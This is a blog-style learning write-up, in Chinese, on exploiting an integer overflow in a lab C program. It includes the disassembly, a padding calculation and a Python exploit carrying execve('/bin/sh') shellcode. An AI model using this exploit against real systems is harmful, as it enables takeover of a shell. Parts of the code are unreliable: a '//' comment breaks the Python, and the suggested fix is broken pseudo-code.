【漏洞初探】由栈溢出过渡至整数溢出

本文详细介绍了如何利用整数溢出漏洞攻击一个C语言程序,通过反汇编分析栈结构,确定填充字节数,然后编写攻击代码。最后给出了修复建议,通过增加范围判定避免此类漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

此文章同样学习于【PWN】整数溢出 - 知乎 (zhihu.com)

和处理栈溢出的思路一样,首先关闭各防范系统,再由反汇编得到二进制代码,对其栈结构进行分析,得到覆盖返回地址的字节数,对其进行攻击。

整数溢出:指储存的整数大小超过上限/下限,导致栈溢出。

一、问题所在

源程序:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void validate_passwd(char* passwd) 
{
 char passwd_buf[11];
 unsigned char passwd_len = strlen(passwd);  //问题出处
 if(passwd_len >= 4 && passwd_len <= 8) 
   { 
      printf("Valid Password\n"); 
      fflush(stdout);
      strcpy(passwd_buf,passwd); 
   } 
 else 
  {
      printf("Invalid Password\n"); 
      fflush(stdout);
  }
 store_passwd_indb(passwd_buf);
}

int main(int argc, char* argv[]) 
{
 if(argc!=3) 
  {
    printf("Usage Error:   \n");
    fflush(stdout);
    exit(-1);
   }
 validate_uname(argv[1]);
 validate_passwd(argv[2]);
 return 0;
}

二、反汇编分析

进行反汇编分析:

(gdb) disassemble validate_passwd 
Dump of assembler code for function validate_passwd:
 //Function Prologue
 0x0804849e <+0>: push %ebp                               //backup caller's ebp
 0x0804849f <+1>: mov %esp,%ebp                           //set callee's ebp to esp

 0x080484a1 <+3>: push %edi                               //backup edi
 0x080484a2 <+4>: sub $0x34,%esp                          //stack space for local variables
 0x080484a5 <+7>: mov 0x8(%ebp),%eax                      //eax = passwd
 0x080484a8 <+10>: movl $0xffffffff,-0x1c(%ebp)           //String Length Calculation -- Begins here
 0x080484af <+17>: mov %eax,%edx
 0x080484b1 <+19>: mov $0x0,%eax
 0x080484b6 <+24>: mov -0x1c(%ebp),%ecx
 0x080484b9 <+27>: mov %edx,%edi
 0x080484bb <+29>: repnz scas %es:(%edi),%al
 0x080484bd <+31>: mov %ecx,%eax
 0x080484bf <+33>: not %eax
 0x080484c1 <+35>: sub $0x1,%eax                          //String Length Calculation -- Ends here
 0x080484c4 <+38>: mov %al,-0x9(%ebp)                     //passwd_len = al
 0x080484c7 <+41>: cmpb $0x3,-0x9(%ebp)                   //if(passwd_len <= 4 )
 0x080484cb <+45>: jbe 0x8048500 <validate_passwd+98>     //jmp to 0x8048500
 0x080484cd <+47>: cmpb $0x8,-0x9(%ebp)                   //if(passwd_len >=8)
 0x080484d1 <+51>: ja 0x8048500 <validate_passwd+98>      //jmp to 0x8048500
 0x080484d3 <+53>: movl $0x8048660,(%esp)                 //else arg = format string "Valid Password"
 0x080484da <+60>: call 0x80483a0 <puts@plt>              //call puts
 0x080484df <+65>: mov 0x804a020,%eax                     //eax = stdout 
 0x080484e4 <+70>: mov %eax,(%esp)                        //arg = stdout
 0x080484e7 <+73>: call 0x8048380 <fflush@plt>            //call fflush
 0x080484ec <+78>: mov 0x8(%ebp),%eax                     //eax = passwd
 0x080484ef <+81>: mov %eax,0x4(%esp)                     //arg2 = passwd
 0x080484f3 <+85>: lea -0x14(%ebp),%eax                   //eax = passwd_buf
 0x080484f6 <+88>: mov %eax,(%esp)                        //arg1 = passwd_buf
 0x080484f9 <+91>: call 0x8048390 <strcpy@plt>            //call strcpy
 0x080484fe <+96>: jmp 0x8048519 <validate_passwd+123>    //jmp to 0x8048519
 0x08048500 <+98>: movl $0x804866f,(%esp)                 //arg = format string "Invalid Password"
 0x08048507 <+105>: call 0x80483a0 <puts@plt>             //call puts
 0x0804850c <+110>: mov 0x804a020,%eax                    //eax = stdout
 0x08048511 <+115>: mov %eax,(%esp)                       //arg = stdout
 0x08048514 <+118>: call 0x8048380 <fflush@plt>           //fflush
 0x08048519 <+123>: lea -0x14(%ebp),%eax                  //eax = passwd_buf
 0x0804851c <+126>: mov %eax,(%esp)                       //arg = passwd_buf
 0x0804851f <+129>: call 0x8048494                        //call store_passwd_indb

 //Function Epilogue
 0x08048524 <+134>: add $0x34,%esp                        //unwind stack space
 0x08048527 <+137>: pop %edi                              //restore edi
 0x08048528 <+138>: pop %ebp                              //restore ebp
 0x08048529 <+139>: ret                                   //return
End of assembler dump.
(gdb)

为了利用整数溢出,要研究明白填充多少字节:

已知,变量从低地址的栈向高地址增长,在变量区域上面是前栈指针和返回地址。所以,我们要计算从栈底到整数溢出这个地址需要填充多少字节。 

三、填充字节数计算

在栈中的变量有:

buf[11]=0xb  len=0x1 此时用来对齐的=0x4

参数passwd地址=0x4(eid)  ebp=0x4

所以总共需要填充0x18字节才能齐平。

与第一篇博客中的计算不同的是:在第一篇博客中的源代码中,使用栈的只有buf,所以分配好的栈空间都是他的。但在这个问题中,不只一个参数使用栈,故不能直接用0x34。

输入“A”*24+“B”*4测得输出地址为0x42424242正好吻合B*4。说明覆盖成功,可以控制。

四、攻击代码

于是针对此进行exp的编写:

exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

arg1 = "sploitfun"

#Stack address where shellcode is copied.
ret_addr = 0xbfffefb8

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

# arg2 = Junk + RA + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108  //没有理解是什么作用

print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

这个书写思路和栈溢出攻击是一样的,详解可以见第一篇博客。但在此处没有理解为什么需要108个C来填充。待实验是否可以不要之后,或许可以有答案。

五、修复建议

unsigned char passwd_len = strlen(passwd);

增加一个范围判定j即可:

unsigned int len = strlen(passwd);
if 0<=len<=上限:unsigned int passwd_len=len;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值